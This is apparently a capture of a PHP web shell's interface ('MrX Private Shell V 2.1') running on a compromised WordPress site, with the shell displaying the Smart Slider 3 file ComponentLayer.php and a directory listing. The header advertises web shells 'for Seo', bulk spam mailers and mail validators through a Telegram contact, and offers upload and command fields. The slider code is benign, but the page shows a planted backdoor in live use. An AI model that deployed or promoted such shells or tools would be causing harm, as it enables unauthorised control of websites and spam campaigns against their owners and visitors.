__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\SmartSlider3\Renderable\Component;

use Nextend\Framework\View\Html;
use Nextend\SmartSlider3\Renderable\AbstractRenderableOwner;
use Nextend\SmartSlider3\Renderable\Item\AbstractItemFrontend;
use Nextend\SmartSlider3\Renderable\Item\ItemFactory;

class ComponentLayer extends AbstractComponent {

    protected $type = 'layer';

    /** @var AbstractItemFrontend */
    private $item;

    public function __construct($index, $owner, $group, $data) {

        parent::__construct($index, $owner, $group, $data);


        $this->attributes['style'] = '';

        $item = $this->data->get('item');
        if (empty($item)) {
            $items = $this->data->get('items');
            $item  = $items[0];
        }

        $this->item = ItemFactory::create($this, $item);

        $this->placement->attributes($this->attributes);
    }

    public function render($isAdmin) {
        if ($this->isRenderAllowed()) {

            $this->runPlugins();

            $this->serveLocalStyle();

            $this->prepareHTML();

            if ($isAdmin) {
                $renderedItem = $this->item->renderAdmin();
            } else {
                $renderedItem = $this->item->render();
            }

            if ($renderedItem === false) {
                return '';
            }

            if ($this->item->needHeight()) {
                $this->attributes['class'] .= ' n2-ss-layer--need-height';
            }

            if ($this->item->isAuto()) {
                $this->attributes['class'] .= ' n2-ss-layer--auto';
            }

            $html = $this->renderPlugins($renderedItem);

            if ($isAdmin) {
                $this->admin();
            }

            return Html::tag('div', $this->attributes, $html);
        }

        return '';
    }

    /**
     * @param AbstractRenderableOwner $slide
     * @param array                   $layer
     */
    public static function getFilled($slide, &$layer) {
        AbstractComponent::getFilled($slide, $layer);

        if (empty($layer['item'])) {
            $layer['item'] = $layer['items'][0];
            unset($layer['items']);
        }
        ItemFactory::getFilled($slide, $layer['item']);
    }

    public static function prepareExport($export, $layer) {
        if (empty($layer['item'])) {
            $layer['item'] = $layer['items'][0];
            unset($layer['items']);
        }

        ItemFactory::prepareExport($export, $layer['item']);

    }

    public static function prepareImport($import, &$layer) {
        if (empty($layer['item'])) {
            $layer['item'] = $layer['items'][0];
            unset($layer['items']);
        }

        $layer['item'] = ItemFactory::prepareImport($import, $layer['item']);
    }

    public static function prepareSample(&$layer) {
        if (empty($layer['item'])) {
            $layer['item'] = $layer['items'][0];
            unset($layer['items']);
        }

        $layer['item'] = ItemFactory::prepareSample($layer['item']);
    }
}

Filemanager

Name Type Size Permission Actions
AbstractComponent.php File 29.59 KB 0664
ComponentCol.php File 14.08 KB 0664
ComponentContent.php File 7 KB 0664
ComponentLayer.php File 2.95 KB 0664
ComponentRow.php File 15.25 KB 0664
ComponentSlide.php File 4.86 KB 0664
Style.php File 1.13 KB 0664
Filemanager